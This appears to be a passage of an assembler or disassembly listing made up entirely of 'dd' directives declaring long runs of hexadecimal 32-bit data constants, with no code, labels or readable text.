		dd 0EA6A3314h, 0E97577BBh, 0D0826D28h, 2551E820h, 20206743h
		dd 502D03D9h, 9A9BDC02h, 64A4D671h, 2FDE3858h, 3426E9Dh
		dd 4C13B5ECh, 29842085h, 22DA844h, 0B4FC8789h, 1F23E37h
		dd 8F84922Fh, 20050CC3h, 236F4A9Ah, 0E0818000h,	66918841h
		dd 2E39BC8Ch, 87214F83h, 68A8CD85h, 6A008614h, 0FEE4E098h
		dd 3ED9E6D2h, 3E9205DEh, 76BC02A7h, 0B0721C66h,	0B0486D22h
		dd 1BB20A40h, 35C044Ch,	816B662Ch, 0F8DC1ECDh, 8C81F522h
		dd 34791087h, 72EECFh, 0FB3385E9h, 0D39E4117h, 0C6C5300h
		dd 0C6438A06h, 2A746Dh,	762D7977h, 0E126B901h, 0BFE8B8E6h
		dd 1D897D00h, 0A580F4AFh, 9F54006Fh, 9052A25h, 87F8B155h
		dd 85301D01h, 6FAA3B2h,	700DF0h, 0B998623Ch, 3AEDE6ECh
		dd 0AF28F760h, 0CF58D9F0h, 831D8650h, 0ACBEE184h, 113D13F0h
		dd 810D7F3Ah, 0EC8E94C1h, 399FFC39h, 781090C5h,	0F72CBD76h
		dd 2931820Ch, 708CB32h,	30B0ED20h, 0CAA1BA36h, 7C00898Dh
		dd 0D38509F9h, 64F1977h, 67F6AD93h, 1D285915h, 39003898h
		dd 801155D2h, 1A0A71h, 6FEDE834h, 655CE794h, 0E247F907h
		dd 0BFC09E3Ah, 0CF97F418h, 9F031438h, 0DAD82E7Bh, 90F1AE5h
		dd 80B51756h, 0DD168369h, 76950C97h, 9079124Dh,	0EFB9D00h
		dd 1110D4CAh, 314E8EAh,	0B47C46EEh, 0D103E970h,	0F0AB623h
		dd 0FAE19862h, 4BC03F41h, 0F8B08899h, 20F209E3h, 867F13F2h
		dd 542AD100h, 5227CF2Fh, 0AC0A0349h, 4AAFA98Ch,	0FC8F15F0h
		dd 54E834A8h, 0B1CD9B00h, 33C4C82Ah, 868D1CB5h,	98C7D463h
		dd 51740F02h, 0CEC0A5E2h, 0D6603593h, 0D7EAB18h, 0CCDA505Fh
		dd 89B76736h, 65D39007h, 0CC784284h, 0E0D8E400h, 96FB7491h
		dd 0C0C35295h, 7500C522h, 0F89E448Ah, 38D040h, 1BD10BCh
		dd 651C8DD2h, 3EB1B60Ah, 590094B7h, 0B4E8691Dh,	359C1D31h
		dd 0E3990160h, 47CCA1FBh, 59FF76D0h, 0C000E4EEh, 935FE57Ah
		dd 293CF54Dh, 8058B047h, 0F805844Bh, 20156B6h, 89B39A3h
		dd 2184B453h, 948BE330h, 0DADC338Ch, 4386EFA0h,	88A2C8ECh
		dd 0AA0D8460h, 309D6C29h, 90FEFC00h, 2915DDCh, 0EE801CA0h
		dd 48446A88h, 0BC7EBE24h, 6D697C41h, 0E7F07840h, 49BF6137h
		dd 0C19A3F73h, 0A468704Eh, 0C9446400h, 7AB92AAEh, 9809137h
		dd 5E00D912h, 9AB501E6h, 0E908C100h, 87AE6569h,	9FB7183Dh
		dd 78377190h, 85FE700h,	2A07EB72h, 0C4543A01h, 40C016A4h
		dd 0EDEFE930h, 0E87D3798h, 0D0AB3B2Fh, 0EA24A123h, 0E1A86613h
		dd 0E400DA1Ah, 1C1F6486h, 284B4859h, 6707CBFh, 0F36BA183h
		dd 76131086h, 21032573h, 0C2A21FC8h, 5508834Bh,	0AFD100B3h
		dd 0FE46E811h, 0B60E573Dh, 655DB5BFh, 0C4C4B771h, 2BF04F80h
		dd 903700C1h, 7377FBB8h, 5E1DF65Fh, 85809FCEh, 7E6CE0ECh
		dd 31B91E65h, 0D24C00BBh, 0D358899h, 0BF801401h, 12ED7BB3h
		dd 88EC9024h, 0F9FAE1D5h, 5172DFF6h, 9961021Ch,	4104E242h
		dd 44804615h, 0CE00A3C4h, 3FE496A6h, 0CAEFB2h, 322522A5h
		dd 1AD26E63h, 4679DB02h, 0A88818h, 3FF1947Fh, 0B4E7F400h
		dd 37265E6Bh, 0DF51C1B6h, 0D81C0165h, 0A8A0E924h, 0E788937Eh
		dd 8D700D9Eh, 0F0B16996h, 0DF000610h, 0E33933B6h, 0E2770FE1h
		dd 11F30195h, 14AA969Bh, 0F9169589h, 0E1F404B0h, 0C8C1003h
		dd 0E67E30ADh, 9384B632h, 0A8BE6C03h, 0D3046077h, 7D43E017h
		dd 426092D0h, 91830E7Fh, 929682A8h, 9804C862h, 0B369C3C2h
		dd 5C0FCDCAh, 0C0C32002h, 4430A3FFh, 8DDC0009h,	0BF3B6492h
		dd 1E671C7Bh, 0F291B4E1h, 2CFC9FEDh, 0BE7088h, 1A5FF00Bh
		dd 31BBDAAAh, 8048E33Eh, 36110866h, 118E7F0Dh, 2FE99A5h
		dd 0AAF42609h, 0C9C0C05Fh, 0EC9897h, 0D3CDE58Fh, 0DB439F31h
		dd 0E96DED00h, 87FB69AFh, 0D68D00F5h, 0F99A81ACh, 921FBA5Fh
		dd 760CDED5h, 488D08E5h, 564C9516h, 0DD330500h,	789A1FF0h
		dd 0AB34AA00h, 0C3945F86h, 0E5B500A9h, 0EDD21855h, 49CF917Bh
		dd 57B6E09Ch, 0C3B32C77h, 0F768E550h, 0ED7C20A6h, 6269E760h
		dd 4E583Bh, 0DF8A1324h,	0BFA04F3Ah, 5A3FC407h, 0B6700941h
		dd 0AB69E491h, 44E0C720h, 0EEDD6DFAh, 60A0507Eh, 0DF0388E3h
		dd 0A9E75500h, 0C580A83Dh, 0E67703F6h, 8E02C84Bh, 130F3000h
		dd 0A817D31Ch, 6F570034h, 79A9814Fh, 0ED0EBB4Bh, 9ED695D5h
		dd 58D9470Ch, 1D570082h, 888038A0h, 8CE91305h, 8EFBE71h
		dd 0A0A400D5h, 5B3C0EC5h, 0E500EA42h, 9E86AFF9h, 387345BDh
		dd 0DAB04D5Ah, 81DCD639h, 61F9CA14h, 2F5875C4h,	0F320EFFh
		dd 4FBE475Dh, 5FF582E0h, 0E0420FBFh, 0C05C55B7h, 0CD6F76E4h
		dd 56ECD018h, 0C600C878h, 0DC7F34A7h, 2E0269D1h, 3E6758B2h
		dd 8171E6B0h, 591C19EFh, 8403D6AEh, 947DFBB3h, 0C4C700BBh
		dd 5527D706h, 0DF2A0774h, 9A1FAC98h, 304501BFh,	0F90E4611h
		dd 0EA5EE062h, 7F5DF32h, 0A902F116h, 51B7A077h,	6A7A3BEEh
		dd 3FC81805h, 0D022E6DFh, 3C8020E9h, 1600E70Dh,	8CDCFFD9h
		dd 54FE1CF3h, 0FC62AAD1h, 0CDBF0C9Fh, 0ED08BD0Fh, 9D308348h
		dd 0A63FCE87h, 86902680h, 0E6B7004Eh, 5ECB7F75h, 56042FBFh
		dd 9D964BD0h, 0D97637C0h, 98C960E2h, 0BE627997h, 13D8EA52h
		dd 88BCA3A9h, 12CD4709h, 369E6880h, 3C39F657h, 5E8D802Eh
		dd 649D19E3h, 7839D4EBh, 620C9421h, 16119DFh, 0BF0787B3h
		dd 0F4E48EFDh, 28D28FA7h, 80D6300Ah, 5E30CD80h,	150D72Ch
		dd 0C096E821h, 0FC94E4F9h, 1300CB46h, 405BE560h, 2852EAAh
		dd 0BFDD5FADh, 98806650h, 7D77BDCCh, 6E998600h,	55D90738h
		dd 6AC7010Fh, 5FEBDA59h, 0BCD040E8h, 0A53D16F6h, 92110138h
		dd 0DD75CBAAh, 3412908Ch, 0EE1835B9h, 0E4D1907Dh, 703F482Dh
		dd 0F2448478h, 0FF54001Bh, 3E398E98h, 0B800BF99h, 0CCCD767Ch
		dd 1C10AB3Ch, 4040D5A8h, 0A1721B57h, 0DD1274C8h, 0E040FFC7h
		dd 0E6D84473h, 0A33F0F6Eh, 0A9819FD6h, 8CA57DEDh, 79E87671h
		dd 0FB350179h
		dd 5791A7E7h, 99E2600Eh, 9DF81600h, 10372D0Bh, 0C14F8EFh
		dd 1B12056Fh, 3E75D1D1h, 1E9C44h, 2D1DC97Eh, 60F4D8D9h
		dd 99C1850Fh, 0C769C1ACh, 0FBDD27EFh, 5576A180h, 0CEF04274h
		dd 0B4B5D628h, 0D42F0880h, 0D73FDF19h, 710E4A9h, 8900800Dh
		dd 937F3D5Bh, 9C6E58h, 799A479Dh, 77EE2686h, 14003A49h
		dd 0B62789h, 76019E0Eh,	248F047Fh, 1588EB5h, 69E538EEh
		dd 55543410h, 806C774Ch, 5DDA7A63h, 0B64500ECh,	9D6CD6Bh
		dd 0EE222553h, 48F5767Ch, 9725860h, 5377C45Eh, 0A4563890h
		dd 7CE9FA60h, 4C3AF9BAh, 9A80A0DFh, 696724E7h, 230A3F00h
		dd 4A75A26Ah, 0D6F90041h, 8918D7A5h, 31DF97DFh,	0E2CEAB01h
		dd 37D8640Dh, 80BE18BBh, 0DE3E60F6h, 7529A260h,	0EEE758h
		dd 0C8BF2070h, 83F87B5Fh, 7A301800h, 3C7D3FE9h,	0B40F03A9h
		dd 0DE78BA24h, 80A1DFC1h, 84925141h, 389C64h, 55401021h
		dd 2A4B0114h, 0BBEEA01Eh, 8D571780h, 5C4E030Ah,	0F530630Fh
		dd 36EE5689h, 0EFD06A1Dh, 0C308912h, 3FEC045h, 0E14D10EDh
		dd 0E0BFAA1Fh, 5EF4B19Eh, 0BF8D751Fh, 31C67ACCh, 9C590386h
		dd 0E5BD63C2h, 0F60C6FC7h, 8300D369h, 0DCAF802Bh, 4CDDCE95h
		dd 0E62118C9h, 808F7D08h, 0FACB5985h, 207E116h,	2E5E4F7Eh
		dd 60E4E681h, 0F1007462h, 20A05A19h, 0D613DD6Eh, 0E4201A05h
		dd 0C7FDC735h, 602CF229h, 8858C48Fh, 0E8563D30h, 95CB031h
		dd 0B712C5EAh, 861F0080h, 0A2EACDBh, 0D0393C75h, 0E5528248h
		dd 90E1143Ch, 0A4E381A0h, 0A320ADBAh, 8E031D66h, 39ED0A22h
		dd 71E06FD0h, 5F145A4Dh, 58B9A20Eh, 0B22FE0EBh,	24EF948h
		dd 0A14CAC3Ch, 2464579Dh, 1394D0A1h, 19FAC84Dh,	0E8CF58C2h
		dd 82156453h, 0C30134DAh, 0BAF40B48h, 8FD8CC30h, 0F8BB1000h
		dd 5D71DA33h, 20781C85h, 0F6AC4047h, 0C796F2C6h, 50EFA3Bh
		dd 0CF40E44Fh, 4B554782h, 37883CE0h, 441CA2A2h,	0C8401F2Bh
		dd 0B4FF60F0h, 4A0C0E89h, 770012C6h, 0F5A458A9h, 0D86EBFEAh
		dd 49E48C40h, 29FF0007h, 17E7C3B6h, 1150AB8Ah, 0A60C7DCh
		dd 6F3743D1h, 0C3E60353h, 506BE5FBh, 0B83E4BB8h, 68217F00h
		dd 76FF80D5h, 5D8917Ah,	0C419F35Eh, 9558005Dh, 24328CD2h
		dd 0C11EF67Fh, 4F80903Eh, 0E56A307Fh, 438A063h,	0C1C9910h
		dd 6341E7BEh, 0C1B05700h, 0EB81B5AFh, 8E5E13C9h, 769C0E55h
		dd 88C3317Bh, 1EDD4F8h,	38AF4500h, 5B9CF649h, 0C749CBF0h
		dd 40F1A490h, 87997700h, 247AB642h, 0F27407DAh,	0F8FF43F4h
		dd 81453507h, 0DD2A9410h, 400324FAh, 9E3B03CCh,	9DA0D96Dh
		dd 377C82AFh, 2E23F50Ch, 49C739F7h, 0E0004CFEh,	3F0836A8h
		dd 0C315C583h, 5DC93DFh, 0B3E0221h, 3E68AB86h, 2A053754h
		dd 0C2622FB2h, 0C444BEACh, 689F7F0Eh, 0A0009273h, 1B81D3D8h
		dd 0D604163Eh, 0FED80F95h, 0D70E1191h, 4940350Eh, 1731D220h
		dd 0DF009CE7h, 9A247D46h, 2630A6F7h, 242760h, 0FF4F26A0h
		dd 769876E0h, 97222C02h, 52B030CEh, 0A68E01B4h,	56B20A69h
		dd 48C832A3h, 0FE5BC098h, 1DDBB11Fh, 0A618828Eh, 0A42D004Fh
		dd 0BF5D5C74h, 0B4A7703h, 906C5F8Ah, 7BE5B5B3h,	0A48D30EAh
		dd 28C7CFB0h, 0A159BA64h, 8AEDB640h, 5005FF2h, 5235D05Ah
		dd 0B538CDB2h, 110EFE50h, 20EE6647h, 0F78369CEh, 0FDBE0AFAh
		dd 8084E076h, 944E1160h, 750F15C5h, 855EDCAEh, 388056BFh
		dd 0E4703910h, 9A283EE7h, 2A00CE5Ch, 58405977h,	56000896h
		dd 0D90A36C2h, 7976EEh,	5A64F194h, 9D51B7FFh, 0C8985E4Ch
		dd 0E886467Ah, 50BCBE4Dh, 418AE16Ch, 0C617FC98h, 74983117h
		dd 0E21744ECh, 64082B19h, 0C0CA9EC1h, 2AD90677h, 5A2C9D24h
		dd 0C79458BEh, 0FB077D24h, 0FD7BF64h, 91E8F6h, 13BB833Dh
		dd 4F5D6354h, 0E1427D00h, 1746A25Eh, 0BC670BADh, 0F40630E6h
		dd 9C4889A3h, 0C7416772h, 0F9982009h, 0C0BB55h,	485AEA34h
		dd 9A297023h, 6BF640A0h, 19FB6116h, 1C76461h, 98254180h
		dd 0A2C1E993h, 0D7ED1400h, 7B6A22A7h, 0D840EFABh, 0A1F7579Ch
		dd 0F210091Ch, 84005530h, 70B7BF9Dh, 774F43Ah, 0A2EDCB2Ch
		dd 4AA79024h, 9D60DE3Fh, 0E09513C1h, 0A6AC0097h, 0BC509FD7h
		dd 0C700E981h, 58775676h, 5220E19h, 5C3F30FCh, 303DC54Dh
		dd 0F7889764h, 0A106D100h, 84ED9DB1h, 0FFB307B4h, 777EBF35h
		dd 0E89EA099h, 0DF264036h, 2BD7CADh, 1105828Bh,	0C8BD24E4h
		dd 1F00E860h, 57ACEC62h, 9784723h, 0CB56EF55h, 927EA410h
		dd 5FF926h, 0DBF08300h,	6033D6h, 0C4E83CECh, 69E4EE3Eh
		dd 4D5B18A0h, 0D284F437h, 0A400387Ah, 24D2E8D4h, 954501A0h
		dd 385CB357h, 94EED440h, 3FFA9E09h, 0CD8498DDh,	0EAC900D2h
		dd 200CB0CFh, 0FB90881Eh, 604C577Eh, 0E81128E4h, 4072EFh
		dd 26B523Fh, 1918F80h, 5FCB946Ch, 0F85190D8h, 0D9601905h
		dd 0AE9A3B91h, 50606078h, 5C3E9EBFh, 14C34C08h,	0D2204EDFh
		dd 51BD32BAh, 0C4F1FA01h, 33296A86h, 0EA240C8h,	4DF128Ah
		dd 91E02D64h, 10F762A0h, 1E02CAF1h, 0C7579EEh, 0D30F5DDh
		dd 8E610573h, 261ACA89h, 5C28E460h, 9E886CFBh, 0CC237692h
		dd 1BCAB021h, 0C96A0019h, 912FC702h, 22FF5C9Dh,	7224Ch
		dd 2F72307Dh, 0B0500A05h, 8195A200h, 609041BBh,	0CA5E0140h
		dd 297BEE0Eh, 879889D4h, 2ECE80E5h, 0FCE897Fh, 5798C06Bh
		dd 0D500830Fh, 0E4E3BB23h, 1001B437h, 0DE178EC1h, 0B9353180h
		dd 0CD94F06Eh, 0BEEB1F0Ch, 1D5183Bh, 0B8EC10CEh, 0CCB74C53h
		dd 2900499Ch, 98DE6B57h, 0C07E8A59h, 0EABB2428h, 4562B0E4h
		dd 0E0782EC4h, 3C053E31h, 7E06D4D3h, 59465899h,	89911730h
		dd 977AC9h, 0C4487622h,	0F454B173h, 0F10A461Dh,	8DAFBF40h
		dd 0A01918CEh, 6093E02Ch, 712F4930h, 0BA30E4E8h, 98DF5186h
		dd 0CF2A008Ch, 716836E7h, 0AA545999h, 0D41C2684h, 4980F246h
		dd 64B01AF5h, 0E6EEAFEh, 37C34A8Bh, 8E2D6F00h, 56039A67h
		dd 0DDC9801Ch, 3373A02Eh, 9768308Fh, 6F8B7F68h,	0CB11D003h
		dd 90EDD852h, 0C94FD17h, 81B1E521h, 63030A91h, 0BB686037h
		dd 0CF0800A2h, 81DF185Ch, 0AD192390h, 9B58FB20h, 7A463510h
		dd 61459600h, 281A70FAh, 498700A2h, 0F7B6D84Ah,	7D54CEBEh
		dd 531D04BCh, 8DD4B2E5h, 35578580h, 43D9043h, 7259158Ah
		dd 0D000F8DDh, 1683454Ch, 0EB002B9Ch, 8A1CE462h, 318E36B5h
		dd 0BE29E913h, 0E549803Dh, 0EA55EFEEh, 60E00331h, 6477A7A4h
		dd 0E0DC4881h, 0A14A33Bh, 88F0339Ah, 19298092h,	0B1080FBDh
		dd 0F94E0900h, 27B26611h, 0EC4A0B98h, 8B50A4EDh, 8E295D00h
		dd 0B1E4E9DAh, 3841C784h, 0A506C042h, 9000D43Bh, 2F54ECE7h
		dd 1FF2127Fh, 353252h, 0A87CFFFAh, 8E3062EFh, 854C10D3h
		dd 0E55700B7h, 86F4DDCDh, 52E09536h, 7727A103h,	808FD1EBh
		dd 14093C7Ah, 9CBE9694h, 0DCFB5580h, 20037DBh, 0C6EA28EBh
		dd 33E69Ah, 583162A8h, 76970B78h, 0DA18907Ch, 46B18F17h
		dd 18990082h, 0C35BF05Ch, 0D9018D0Ah, 7F41424Ch, 57ED762Fh
		dd 318A80F9h, 80D09968h, 27ECFEA5h, 4171F4ADh, 6EB34207h
		dd 58E707D0h, 437D5100h, 0FEC10E60h, 74C0D1FDh,	0CCAF138Bh
		dd 90EE0170h, 2C09BD00h, 98D905FFh, 0C8435256h,	3C038E22h
		dd 9CDB1CF7h, 3D2FE70Ah, 0F37A45C0h, 0B085E653h, 63602B28h
		dd 13D86E8h, 987FA996h,	8A0C3554h, 7A7C88h, 7440D22Bh
		dd 0D988C6F5h, 0FF6AE3Ah
		dd 3FE5773h, 3D851831h,	0D1817889h, 632D3D21h, 184022C4h
		dd 2519368h, 0B7C81FBBh, 3EADC991h, 40B47E81h, 0DF288BAAh
		dd 0EC83D585h, 4F037E7h, 0B330E54Ah, 997761EFh,	54455162h
		dd 7259CEB1h, 687024E1h, 817F801h, 0B88EC7E8h, 4FD46A31h
		dd 8688005Bh, 7775DD69h, 1043E7Fh, 8FAA2426h, 0E50530D0h
		dd 90A90114h, 5C8B88E0h, 173093A8h, 0A4554420h,	0F0A90143h
		dd 4BC7330h, 8612E872h,	0B6227090h, 77FF0182h, 98E7F57h
		dd 349980D6h, 0E55A7E90h, 0D8874CBBh, 844AD8C8h, 8333B808h
		dd 9D6852EAh, 0F41E148h, 3F7677F9h, 0BE17AB0Fh,	30F4CACh
		dd 0FB4203F3h, 3660003Dh, 0CEEB46B9h, 99793FB4h, 90181648h
		dd 0CC38003Ch, 0E908F75Dh, 0A4D0026h, 5F4E430Fh, 1CA1CD91h
		dd 452A10A6h, 362F300Fh, 0FF8F2120h, 3E9D7506h,	13A18C0Bh
		dd 30902FDBh, 2AFDCCA4h, 0C7060C00h, 4A94E92h, 135B888h
		dd 639B183Dh, 23033EAFh, 90552140h, 0C8C49107h,	0BB68091h
		dd 79BC2FE3h, 5300DA75h, 0E6C1ACF5h, 13C89A5h, 0B4636D72h
		dd 20B90967h, 92889840h, 32CE0081h, 3B414926h, 5B00CAFEh
		dd 2EBD1517h, 493E834Fh, 0B7043869h, 0C035AD93h, 0B8514A30h
		dd 2E7ED214h, 8480C8E4h, 40DD737Bh, 0FA449939h,	0F9C5011Fh
		dd 43E960Eh, 35E911AFh,	906936E0h, 0A3682470h, 0EA728C10h
		dd 46005C41h, 0FD4CE397h, 0F1996Fh, 0B940AC0Ah,	8001D91Ah
		dd 3568B803h, 9A47B45Fh, 99C40BDh, 8E180CAFh, 5549D90Dh
		dd 0EA991605h, 0AC4041BEh, 5F8D5096h, 270A1DEDh, 937A82BDh
		dd 6A431E43h, 0DB8EE1E0h, 18115E38h, 5849DA4Ch,	10832419h
		dd 12BE3F48h, 80E89174h, 5934AC30h, 0B907A18Bh,	0AEE50EC0h
		dd 11701079h, 0B5E488DCh, 0CF0189DFh, 8334B612h, 72021183h
		dd 0ADC0B5DAh, 0B350B831h, 0F8A418BCh, 0B636FC00h, 2ABD3B0Eh
		dd 0B24A0303h, 0B922F129h, 1CF4CBA8h, 93FE5600h, 0AFB462EAh
		dd 7BFCA004h, 3EA60A89h, 43C0A302h, 89003FBEh, 8B2B4638h
		dd 13739Eh, 8479F799h, 0FD36EBEAh, 91E2341Dh, 8EEEE0C0h
		dd 922F070Eh, 8A1830D4h, 0DC76CA99h, 0B87BA100h, 0BF91CCC1h
		dd 83E1854h, 9C43718Fh,	0AA6E3901h, 0AB682736h,	0BF811986h
		dd 0BC1E8937h, 3947242Bh, 0B8B088A6h, 0B8F1ADC3h, 147768Eh
		dd 2E9C22CBh, 70DC3FB0h, 0EA267FD7h, 6E60BC36h,	9028C6Bh
		dd 2B98C7F0h, 325D6883h, 0A946103h, 0D1E73C7Bh,	783036F3h
		dd 80149472h, 1E8064D2h, 1C325C68h, 278758B3h, 6A9090E8h
		dd 0EE0E849Eh, 0C0170AECh, 0E4916604h, 916499B3h, 0F4D68B14h
		dd 70461F54h, 33C50AF1h, 0AABBB588h, 0CAF804F4h, 0A95EC0D2h
		dd 8B5404B0h, 267A2840h, 41DA862h, 0D6CEE1E2h, 0EFE0A32Fh
		dd 0EAF6C08Eh, 0FC9A203Dh, 0AD9BB702h, 0C208FA5Eh, 74ECCCE8h
		dd 21420012h, 0A073F50Fh, 0EC00AF82h, 1556ADE9h, 2B33A2Eh
		dd 5985E04Fh, 0C068831Bh, 8A88C639h, 81320397h,	9018CAE3h
		dd 0CD8FA100h, 46E1A2C1h, 97B400BBh, 9BED0AA1h,	5AE62C06h
		dd 0B7868919h, 6C20AFD9h, 60AA0046h, 38802FCDh,	100050FBh
		dd 889FBAC2h, 0E43BEA74h, 28F77CBh, 6B12E01Eh, 80608724h
		dd 7E17FF8Eh, 0C421180Fh, 7D20397Fh, 62D8B52Ah,	9625B100h
		dd 78E8CAE7h, 0ADAA3FE9h, 249024h, 0EF135065h, 810E1596h
		dd 37C44Ah, 207DDD80h, 0FD5C2ED5h, 25D1D64h, 0AFDB7840h
		dd 8A00B5C3h, 8DC58B79h, 0B1AD3FDFh, 1BCB8024h,	43A72FF4h
		dd 68FA180Ch, 2F79990h,	0C59AEB5Ch, 0A8C08DD1h,	0A043B46h
		dd 43AFF99Eh, 0B810C88h, 0BDF8C45Fh, 15770082h,	12D13060h
		dd 41B0B812h, 19982032h, 73E0093h, 0DE21DF92h, 8E016258h
		dd 0F48BE9E0h, 0F041EFDFh, 0D060DB55h, 0EAE0887Fh, 8EA3D438h
		dd 0AB3360ADh, 188C8A0Ch, 64C6DF60h, 0B6181CECh, 0AF650010h
		dd 0E55991AEh, 217033F3h, 96B09013h, 311E409h, 88FEAE38h
		dd 9DB2D9h, 779CBA34h, 5AC57853h, 0ECB3A828h, 0C044B8B0h
		dd 0B411097Eh, 0DC409274h, 3588FF0Ch, 4E574CBAh, 0B43E8F00h
		dd 9A6970Dh, 0E059A706h, 2290DA4Bh, 0F894E715h,	0C2E81740h
		dd 8AFD04E4h, 0C17DEAB8h, 918FE188h, 0E40AE230h, 86C85BAh
		dd 9C94D60Fh, 0E00A7C90h, 0D0888D8Fh, 0F98E0738h, 80FBB4F1h
		dd 99ADABD8h, 0FEF3256Fh, 0A140B810h, 29C88800h, 531A515Bh
		dd 3C0B0083h, 8FDBFC1Dh, 87A0E5B1h, 0AD17D360h,	980888DDh
		dd 0B1E486F4h, 84B19197h, 0B96F7080h, 0BA3036Bh, 8666BA5Fh
		dd 0A4154280h, 0F20C4D2Eh, 60D4528Dh, 0B789C034h, 175EE454h
		dd 6382DC02h, 50D867BCh, 73410738h, 30C92A55h, 0D4EB7CF0h
		dd 0C018105Ch, 1FE48DF3h, 0E7FC0079h, 0DF670CEh, 8150A47Bh
		dd 0EF440CA0h, 87CC94BEh, 45A731h, 9578EEA5h, 2D5F7000h
		dd 3B633DBh, 7B180246h,	3980D786h, 0C7E874E4h, 83A822Ah
		dd 8BB9A83Ch, 848F2FE4h, 1140E230h, 0C85A5F87h,	320071FCh
		dd 4BEA501Dh, 17686B37h, 40925999h, 0AE58E4Ch, 9B4887B5h
		dd 0B7060184h, 676B36E1h, 86AE2890h, 0EA40850Ah, 0C061F898h
		dd 56BB26C9h, 3F34B2E5h, 0FCCC988Bh, 12B6000Ah,	14FA2FA1h
		dd 1AEE72ACh, 0C62040B8h, 90D10530h, 99364D7Bh,	18888088h
		dd 4E863A79h, 27D900E0h, 0E6E5EBE9h, 0F7053746h, 0BA974031h
		dd 7980E5C0h, 0D7472660h, 0EF8180CCh, 3FA3435Eh, 724FC601h
		dd 0DF282FF0h, 78FB5987h, 0EBAA1FE5h, 98FF02EBh, 6878E75Ah
		dd 0CB3A8F03h, 48E8E9E2h, 429E1818h, 0B02BEAFCh, 0A2AED060h
		dd 0C6966F30h, 1FDF2237h, 80EC60h, 0B64B5726h, 0BE3BC733h
		dd 2B800D4h, 0B290D603h, 42601772h, 0AF009E2h, 0E3715810h
		dd 0F18FDCA8h, 0C0F69800h, 643F652Bh, 43CD135Dh, 0DB9000FEh
		dd 93289725h, 0D702D878h, 8E5179AEh, 9DEBC0B0h,	3CE007h
		dd 8403EC62h, 0DDB982B4h, 98135C07h, 30558087h,	78F308CCh
		dd 0E7B60011h, 5BAF35B4h, 280A6094h, 7C8EDAE0h,	8D702F00h
		dd 0B08BB9EEh, 83F32C84h, 21F064E8h, 643D6727h,	0EAA1450h
		dd 55CA5F83h, 28A26860h, 0B571C79Dh, 82507D25h,	0D62504h
		dd 65B03BE9h, 9516E400h, 90393437h, 0E611318Eh,	833ABE61h
		dd 1529D091h, 8DEE91Fh,	7C18FB70h, 80A5015Ah, 252F214h
		dd 78C2834Eh, 0C090A915h, 283ED185h, 4C384A03h,	0B0807CBDh
		dd 991A6FECh, 8E7BA400h, 59F8841Ch, 489C00EEh, 0EAD756C4h
		dd 6F05B825h, 83BA9913h, 0F2788470h, 5E5F40F6h,	415A8498h
		dd 1ED6C840h, 582DA182h, 0DB30B028h, 5EF25619h,	8A3E0801h
		dd 1A577C80h, 78DD0842h, 0CC14FB84h, 8FA9298h, 54D31924h
		dd 0DAE83A3Eh, 3060B004h, 3F8E2A41h, 0D74E034h,	745DC13Ch
		dd 702D1F24h, 0BC20BF13h, 0F4F1246Dh, 88CA503Fh, 0ECA4883Ch
		dd 3DAB1B00h, 0B30DAF57h, 0B544136Eh, 9F140345h, 0CAAA77FAh
		dd 99A2E086h, 740014B9h, 1476926Fh, 61830064h, 8780AD56h
		dd 8674B3E5h, 737730C1h, 91912BA7h, 0B226013Bh,	97128BBAh
		dd 0BE77033Ah, 0ACBA8031h, 0E508B8C9h, 8B8460F9h, 0FCCE8288h
		dd 218A62E8h, 0FC0F996h, 0BF83788h, 0A619E367h,	0A82017C5h
		dd 3C6BBA11h, 0C4012D0Fh, 7A7BF82Ah, 90A63197h,	8D22C631h
		dd 3A739300h, 35582BB1h, 78D6003Bh, 4B03C9CDh, 0E0B4EF07h
		dd 0B7A0C40h, 31870B94h, 6A00EA1Eh, 0EE063DC4h,	288EB704h
		dd 0C8F41882h, 4C400049h, 0D018C52h, 600A4A6h, 890B6C7Bh
		dd 0B96BB012h, 1342E6Ch
		dd 225E5007h, 0B51020D9h, 0E8607CB1h, 0FC1237A1h, 0D9DC0694h
		dd 5A65A073h, 0B132CE00h, 9184069h, 9537006Dh, 1F8CDCD0h
		dd 31128307h, 0E7014A4Fh, 4684FF2Bh, 40B19820h,	0C49172DBh
		dd 662A7107h, 60D23170h, 154158ACh, 395DCE01h, 62CB8565h
		dd 80561010h, 0D9893D28h, 0D2B8B8A1h, 6BD4402Bh, 8AC38068h
		dd 9E0E31C4h, 80FC3025h, 8CE45D38h, 5080FCA3h, 60069FEFh
		dd 0C0C5E029h, 0E55422B0h, 0FCB7E844h, 91B40021h, 18EFBFDBh
		dd 0F000347Dh, 0A328FD43h, 58BB888Fh, 6512606Ch, 0DD54D28Dh
		dd 71AEE422h, 0B7C60CE0h, 0E6495868h, 804CC07Ch, 114CBE5h
		dd 0D498919Bh, 36E8A363h, 84682914h, 0E1CAF00h,	0FE604DCh
		dd 0B299163Bh, 302C0496h, 2C7CA2B0h, 5A40E872h,	570D41h
		dd 9E051555h, 9A222C8Eh, 0DC07C0B6h, 4D04125Eh,	0F220C8E2h
		dd 56E901E7h, 9DFFEC0h,	168E39F1h, 2660C468h, 0A14E009h
		dd 90C86553h, 98A3A49Dh, 0A46FC700h, 1EB8A520h,	0FCD42200h
		dd 949648EDh, 0E1C40144h, 73428FF8h, 8C7180E4h,	3A61D61Eh
		dd 868301A7h, 0E8E27016h, 0C0AC2820h, 0CBE062Ah, 3B2638E7h
		dd 0A704E200h, 0B49CCBA8h, 0BD601709h, 4A444436h, 0C0682818h
		dd 5D62F49Eh, 1E8240CAh, 0A8FF4C3Eh, 0C85F9884h, 0D037279Ch
		dd 0FF8F19F1h, 0EF147002h, 8D1CE087h, 0A130590h, 0E01CA6h
		dd 726FEA8h, 0E53B6672h, 0D05FAC42h, 83E62809h,	0FA2ECD41h
		dd 72AC4088h, 80FCB9E4h, 63E99EE8h, 3601B922h, 0DBFBC6FDh
		dd 2720FF5Ch, 461F6C4h,	7AAF28C7h, 559CC10Ah, 0DE98888h
		dd 2100A4E2h, 2010AD80h, 7E61E826h, 2F578019h, 8D80903Ch
		dd 0DF40C659h, 0AC5FC900h, 0E46C58E3h, 8226013Dh, 60BBA94Fh
		dd 298921B4h, 1D7222Ch,	1314BAD1h, 61860EE9h, 0EB52E0D8h
		dd 0EC012B4Ah, 9A8CAC30h, 7E3D85D0h, 903C04E5h,	0A28DC88Ah
		dd 0D85A0094h, 6362E8F7h, 0FFDA03A6h, 0B5F265D3h, 94388FA0h
		dd 88428E17h, 8B0DD405h, 0E784AEC1h, 0E6040C29h, 8CDC19D6h
		dd 60042F0h, 0ABBA7413h, 0FAE1867Dh, 0FCB00C2h,	0D25F17F5h
		dd 4248D0D7h, 0F0568078h, 52A941Ch, 577A809Fh, 82080218h
